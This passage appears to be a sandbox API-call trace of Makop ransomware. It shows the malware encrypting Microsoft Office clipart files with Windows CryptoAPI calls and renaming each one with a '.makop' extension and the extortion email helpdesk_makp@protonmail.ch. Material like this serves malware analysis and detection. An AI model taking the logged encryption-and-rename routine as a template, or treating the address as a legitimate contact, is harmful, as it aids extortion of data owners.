[0144.121] GetProcessHeap () returned 0x48a0000 [0144.121] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.121] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.121] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.121] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0144.125] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.125] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.125] GetProcessHeap () returned 0x48a0000 [0144.125] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.125] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.126] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.126] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.126] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.126] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.126] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.126] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.126] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.127] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.127] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.127] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.127] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4584, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4584, lpOverlapped=0x0) returned 1 [0144.128] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4590, dwBufLen=0x4590 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4590) returned 1 [0144.128] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.128] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4590, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4590, lpOverlapped=0x0) returned 1 [0144.129] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.129] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.129] SetEndOfFile (hFile=0xf0) returned 1 [0144.135] GetProcessHeap () returned 0x48a0000 [0144.135] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.135] GetProcessHeap () returned 0x48a0000 [0144.135] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.135] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.136] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.137] CloseHandle (hObject=0xf0) returned 1 [0144.137] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f0c000, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7f0c000, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x76e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02288_.WMF", cAlternateFileName="")) returned 1 [0144.137] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF") returned 63 [0144.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.138] GetProcessHeap () returned 0x48a0000 [0144.138] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.138] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.139] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.139] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.139] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.139] GetProcessHeap () returned 0x48a0000 [0144.139] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.139] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.139] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.139] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.150] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.150] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.150] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.150] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.150] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.151] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.151] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.151] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.151] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x76e0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x76e0, lpOverlapped=0x0) returned 1 [0144.153] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x76e0, dwBufLen=0x76e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x76e0) returned 1 [0144.153] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.153] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x76e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x76e0, lpOverlapped=0x0) returned 1 [0144.154] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.154] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x77b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.154] SetEndOfFile (hFile=0xf0) returned 1 [0144.161] GetProcessHeap () returned 0x48a0000 [0144.161] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.161] GetProcessHeap () returned 0x48a0000 [0144.161] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.161] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.165] CloseHandle (hObject=0xf0) returned 1 [0144.165] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f0c000, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7f0c000, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5850, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02293_.WMF", cAlternateFileName="")) returned 1 [0144.165] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF") returned 63 [0144.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.166] GetProcessHeap () returned 0x48a0000 [0144.166] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.166] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.166] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.166] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.167] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.167] GetProcessHeap () returned 0x48a0000 [0144.167] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.167] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.167] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.167] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.171] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.171] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.171] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.172] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.172] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.173] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.173] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.173] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.173] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5850, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5850, lpOverlapped=0x0) returned 1 [0144.175] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5850, dwBufLen=0x5850 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5850) returned 1 [0144.175] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.175] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5850, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5850, lpOverlapped=0x0) returned 1 [0144.176] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.176] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.176] SetEndOfFile (hFile=0xf0) returned 1 [0144.183] GetProcessHeap () returned 0x48a0000 [0144.183] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.183] GetProcessHeap () returned 0x48a0000 [0144.183] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.183] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.183] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.184] CloseHandle (hObject=0xf0) returned 1 [0144.185] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x406e600, ftCreationTime.dwHighDateTime=0x1bf3a32, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x406e600, ftLastWriteTime.dwHighDateTime=0x1bf3a32, nFileSizeHigh=0x0, nFileSizeLow=0x5328, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02296_.WMF", cAlternateFileName="")) returned 1 [0144.185] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF") returned 63 [0144.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0144.186] GetProcessHeap () returned 0x48a0000 [0144.186] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0144.186] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0144.186] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0144.186] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.227] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.227] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.229] GetProcessHeap () returned 0x48a0000 [0144.229] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0144.229] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0144.231] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.231] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0144.237] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0144.237] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0144.237] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0144.238] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0144.238] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0144.238] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0144.238] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0144.238] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.238] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5328, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5328, lpOverlapped=0x0) returned 1 [0144.240] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5330, dwBufLen=0x5330 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5330) returned 1 [0144.240] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.241] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5330, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5330, lpOverlapped=0x0) returned 1 [0144.241] CryptDestroyKey (hKey=0x48c7128) returned 1 [0144.241] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.241] SetEndOfFile (hFile=0xf0) returned 1 [0144.248] GetProcessHeap () returned 0x48a0000 [0144.249] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0144.249] GetProcessHeap () returned 0x48a0000 [0144.249] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0144.249] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0144.249] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0144.251] CloseHandle (hObject=0xf0) returned 1 [0144.251] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf911f00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf911f00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02369_.WMF", cAlternateFileName="")) returned 1 [0144.251] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF") returned 63 [0144.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft 